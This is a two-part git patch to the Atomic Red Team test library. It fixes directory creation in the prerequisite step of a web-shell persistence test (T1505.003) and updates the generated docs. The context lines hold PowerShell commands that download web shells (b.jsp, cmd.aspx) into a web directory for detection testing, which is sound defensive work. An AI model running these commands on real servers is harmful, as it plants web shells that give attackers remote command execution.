From f10bb088179c6f9a7b06bdd5f663dcac1f04428a Mon Sep 17 00:00:00 2001 From: Carrie Roberts Date: Wed, 19 Oct 2022 10:13:16 -0600 Subject: [PATCH 1/2] fix dir creation (#2194) Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com> --- atomics/T1505.003/T1505.003.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/atomics/T1505.003/T1505.003.yaml b/atomics/T1505.003/T1505.003.yaml index 600ba6ac..edda529f 100644 --- a/atomics/T1505.003/T1505.003.yaml +++ b/atomics/T1505.003/T1505.003.yaml @@ -25,7 +25,7 @@ atomic_tests: prereq_command: | if (Test-Path #{web_shells}) {exit 0} else {exit 1} get_prereq_command: | - New-Item -Type Directory (split-path #{web_shells}) -ErrorAction ignore | Out-Null + New-Item -Type Directory #{web_shells} -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1505.003/src/b.jsp" -OutFile "#{web_shells}/b.jsp" Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1505.003/src/tests.jsp" -OutFile "#{web_shells}/tests.jsp" Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1505.003/src/cmd.aspx" -OutFile "#{web_shells}/cmd.aspx" From 27f8de319320a0e22209e309033d0d887dbc16d4 Mon Sep 17 00:00:00 2001 From: Atomic Red Team doc generator Date: Wed, 19 Oct 2022 16:13:48 +0000 Subject: [PATCH 2/2] Generated docs from job=generate-docs branch=master [ci skip] --- atomics/Indexes/index.yaml | 2 +- atomics/T1505.003/T1505.003.md | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/atomics/Indexes/index.yaml b/atomics/Indexes/index.yaml index 8d003a71..bda5a0a2 100644 --- a/atomics/Indexes/index.yaml +++ b/atomics/Indexes/index.yaml @@ -53687,7 +53687,7 @@ persistence: ' get_prereq_command: | - New-Item -Type Directory (split-path #{web_shells}) -ErrorAction ignore | Out-Null + New-Item -Type Directory #{web_shells} -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1505.003/src/b.jsp" -OutFile "#{web_shells}/b.jsp" Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1505.003/src/tests.jsp" -OutFile "#{web_shells}/tests.jsp" Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1505.003/src/cmd.aspx" -OutFile "#{web_shells}/cmd.aspx" diff --git a/atomics/T1505.003/T1505.003.md b/atomics/T1505.003/T1505.003.md index a0fab922..a41ae397 100644 --- a/atomics/T1505.003/T1505.003.md +++ b/atomics/T1505.003/T1505.003.md @@ -56,7 +56,7 @@ if (Test-Path #{web_shells}) {exit 0} else {exit 1} ``` ##### Get Prereq Commands: ```powershell -New-Item -Type Directory (split-path #{web_shells}) -ErrorAction ignore | Out-Null +New-Item -Type Directory #{web_shells} -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1505.003/src/b.jsp" -OutFile "#{web_shells}/b.jsp" Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1505.003/src/tests.jsp" -OutFile "#{web_shells}/tests.jsp" Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1505.003/src/cmd.aspx" -OutFile "#{web_shells}/cmd.aspx"